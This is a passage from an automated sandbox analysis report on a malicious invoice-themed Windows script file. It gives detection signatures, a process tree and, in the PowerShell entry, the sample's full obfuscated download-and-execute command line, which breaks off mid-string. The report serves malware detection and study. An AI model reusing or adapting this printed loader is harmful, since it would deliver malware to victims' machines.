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Windows
Analysis Report
Wniosek o numer faktury.wsf
Overview
General Information
Detection
Score: | 96 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
AI detected suspicious sample
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- wscript.exe (PID: 5500 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Wnios ek o numer faktury.w sf" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 6468 cmdline:
cmd.exe /c ping 6777 .6777.6777 .677e MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3604 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - PING.EXE (PID: 3180 cmdline:
ping 6777. 6777.6777. 677e MD5: 2F46799D79D22AC72C241EC0322B011D) - powershell.exe (PID: 1336 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "<#Semicel lulous Sas ia Afblsni ngers fort ification Ungarbejde rens #>;$J estenenes= 'sollegeme ';<#Perspi ration Wid ish Redobl es Forespr gerens Sno bbisme #>; $Bromatolo giens=$Lor elei128+$h ost.'Priva teData';If ($Bromato logiens) { $Boutonnie res++;}fun ction Cita tionstegne t($Praepuc e){$Firewa rden117=$u dnyttedes+ $Praepuce. Length-$Bo utonnieres ; for( $Ud fladninger ne1=7;$Udf ladningern e1 -lt $Fi rewarden11 7;$Udfladn ingerne1+= 8){$Beritt ='Affaldsb ortskaffel sesomraade rne';$fumi tories+=$P raepuce[$U dfladninge rne1];$Exs ectile='Im pieties';} $fumitorie s;}functio n Humiria( $Skdefrakk ernes){ . ($Kaste) ($Skdefra kkernes);} $Udfladnin gerne1vybe rry=Citati onstegnet 'ChienfoMW ingle o Fr kapszSkytt esiNonshat l Vab erlN onch maKry dr s/ Cons q5 Coni i . Ophiur0U debliv mod part(Milep leWSti leh iTak artnR eirrigdUfr ihedojubil izw angfor sAtletis N edslagNBed rageT Defa de Kuponen 1Teredos0, budent.Cyb ercu0Matin mx;Maskinm GrskkatW UdspiniBoi ler nLongw y6Mayos,v 4 Anthro;S eavep Tra s.expar ti d6Tabanu 4 Frifind;Hu shold lsel igrRke isp vabashle: N napp1 Pe rerr2 efle ks1 Neutra .Recons 0H lvled) Co mpos esuet uG Bortf e O.gngelcSo ricidkVolc anooZonesy s/Glosser2 Forvold0Tu rloug1Mell eml0 nie,z s0G,lvano1 F lthro0 R istni1Land bru Lommer ,FSkalkesi Sel,plrTo rskeneHydr ofofKondit oosiderocx kledis/Hj emt,g1 Ca, lal2 Tikke s1Nor ann. Ind atn0Or drere ';$A prilsnars1 90=Citatio nstegnet ' PropounUDy b rysS Kon gebE lozen grin issu- A,kelleaKo ncis gBusf or eViewyy aN HercogT Lrerudd '; $Maalestat ionernes=C itationste gnet 'Rbdi gsthPhilom atArseniut KaolinapVr dido :.wfu lle/.rocai c/Puppetls Jacalsii F ,rulylHeph t eiMaaler en epersoa u,creatsLi centitConn uan.Kontrr ernontypho Pondero/ U nguicJ,ong feluDyrtid sgAfgrelsl Thro,doa n iformn cha rondPrefec tiTv,ngsin Eksdik..Ki n.redxType odtkrista npInd ull ';$Terrori stens=Cita tionstegne t 'eft rml >Deseca '; $Kaste=Cit ationstegn et 'U derv iicephaloe LaiciziX P erfor ';$H alibuts='L ayland';$D arlenes='\ Kassestrim melens.Aft ';Humiria (Citations tegnet 'He ft,gt$Skri dtbGCroton il KrystaO AbstracBpu rdasiAUdso r el N,nge s:Udsag kA .anthodRe fas,emUnch arii Suppl eNPostsaci ewspapsGe nvlgetD,ek cyaRNonunc iA Hulds T IlliciiKv ittero Mor finNEpilog isPreentep Drun,enrCu s ekdOTvet andGtrkgar drLitera A BeijingM i c.orsmAlar mereSthamm erInd fry= Undersk$Su r,useeSewe ragNMllere nVTa kats: UndightACe ntralpdris terPF cell id StorstA Egomanit S ku spAMe,m eri+ Pande r$LinguovD KlvandkaBe lliferGing lymLCumsha ,EAlmennyN VarmlueBr ugsmsSAnor ect ');Hum iria (Cita tionstegne t 'Viziera $AdemonigP r teifLArb